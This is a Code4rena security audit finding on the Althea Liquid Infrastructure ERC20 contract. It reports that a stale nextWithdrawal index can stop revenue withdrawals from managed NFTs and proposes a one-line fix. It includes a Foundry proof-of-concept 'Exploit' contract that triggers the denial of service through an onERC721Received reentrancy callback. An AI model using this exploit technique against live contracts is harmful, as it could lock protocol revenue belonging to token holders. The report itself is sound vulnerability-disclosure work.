Withdrawal from NFTs can be temporarily blocked

[c4-bot-7]

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L382-L383 https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L426

Vulnerability details

Impact

If nextWithdrawal > ManagedNFTs.length, the contract won't be able to withdraw revenue from managed NFTs, because nextWithdrawal can't reset.

        uint256 limit = Math.min(
            numWithdrawals + nextWithdrawal,
            ManagedNFTs.length
        );
        uint256 i;
>>      for (i = nextWithdrawal; i < limit; i++) {
            LiquidInfrastructureNFT withdrawFrom = LiquidInfrastructureNFT(
                ManagedNFTs[i]
            );

            (address[] memory withdrawERC20s, ) = withdrawFrom.getThresholds();
            withdrawFrom.withdrawBalancesTo(withdrawERC20s, address(this));
            emit Withdrawal(address(withdrawFrom));
        }
        nextWithdrawal = i;

>>      if (nextWithdrawal == ManagedNFTs.length) {
            nextWithdrawal = 0;
            emit WithdrawalFinished();
        }

Proof of Concept

How nextWithdrawal can become greater than ManagedNFTs length? Multiple causes:

• withdrawFromManagedNFTs was called for 8 of 10 NFTs, and then 3 NFTs were released
• same as above but malicious user frontruns the NFT release with withdrawFromManagedNFTs transaction
• this may not be the case in the current implementation but if transferFrom will be switched to safeTransferFrom,as bot finding suggests, https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/4naly3er-report.md#l-1-unsafe-erc20-operations https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L418 the malicious user can call withdrawFromManagedNFTs from the ERC721 callback while ManagedNFTs length is not updated.

Coded POC for onERC721Received callback reentrancy case

import {LiquidInfrastructureERC20, ERC20} from "../contracts/LiquidInfrastructureERC20.sol";
import {LiquidInfrastructureNFT} from "../contracts/LiquidInfrastructureNFT.sol";
import {Test} from "forge-std/Test.sol";
import "forge-std/console.sol";

contract Exploit {
    LiquidInfrastructureERC20 target;
    constructor(LiquidInfrastructureERC20 _target) {
        target = _target;
    }
    function onERC721Received(address, address, uint256, bytes memory) public virtual returns (bytes4) {
        // set counter
        target.withdrawFromManagedNFTs(2);
        return this.onERC721Received.selector;
    }
}

contract MockToken is ERC20 {
    constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

contract C4 is Test {
    LiquidInfrastructureERC20 liqERC20;
    MockToken usdc;
    address alice;
    address bob;
    function setUp() public {
        alice = address(0xa11cE);
        bob = address(0xb0b);
        usdc = new MockToken("USDC", "USDC");
        address[] memory rewards = new address[](1);
        rewards[0] = address(usdc);
        address[] memory approved = new address[](3);
        approved[0] = address(this);
        approved[1] = alice;
        approved[2] = bob;
        address[] memory nfts = new address[](3);
        nfts[0] = address(new LiquidInfrastructureNFT("NAME"));
        nfts[1] = address(new LiquidInfrastructureNFT("NAME"));
        nfts[2] = address(new LiquidInfrastructureNFT("NAME"));
        liqERC20 = new LiquidInfrastructureERC20("LIQ", "LIQ", nfts, approved, 10, rewards);
        for(uint256 i=0; i<nfts.length; i++) {
            usdc.mint(nfts[i], 1_000_000 * 1e18);
            LiquidInfrastructureNFT(nfts[i]).setThresholds(rewards, new uint256[](1));
            LiquidInfrastructureNFT(nfts[i]).transferFrom(address(this), address(liqERC20), 1);
        }
    }

    function testWithdrawDOS() public {
        Exploit exploit = new Exploit(liqERC20);
        address nft = liqERC20.ManagedNFTs(0);
        address toRelease1 = liqERC20.ManagedNFTs(1);
        address toRelease2 = liqERC20.ManagedNFTs(2);

        liqERC20.withdrawFromAllManagedNFTs();
        assertEq(usdc.balanceOf(address(liqERC20)), 3_000_000 * 1e18);
        uint256 balBefore = usdc.balanceOf(address(liqERC20));
        liqERC20.releaseManagedNFT(toRelease2, address(exploit));
        liqERC20.releaseManagedNFT(toRelease1, alice);
        // new rewards are ready
        usdc.mint(nft, 1_000_000 * 1e18);
        liqERC20.withdrawFromAllManagedNFTs();
        uint256 balAfter = usdc.balanceOf(address(liqERC20));
        // 1 mil wasn't withdrawn
        assertEq(balBefore, balAfter);
    }

}

Tools Used

Foundry

Recommended Mitigation Steps

Consider modifying the check https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L382

+       if (nextWithdrawal >= ManagedNFTs.length) {
            nextWithdrawal = 0;
            emit WithdrawalFinished();
        }

Assessed type

DoS

[c4-pre-sort]

0xRobocop marked the issue as duplicate of #130

[c4-judge]

0xA5DF marked the issue as selected for report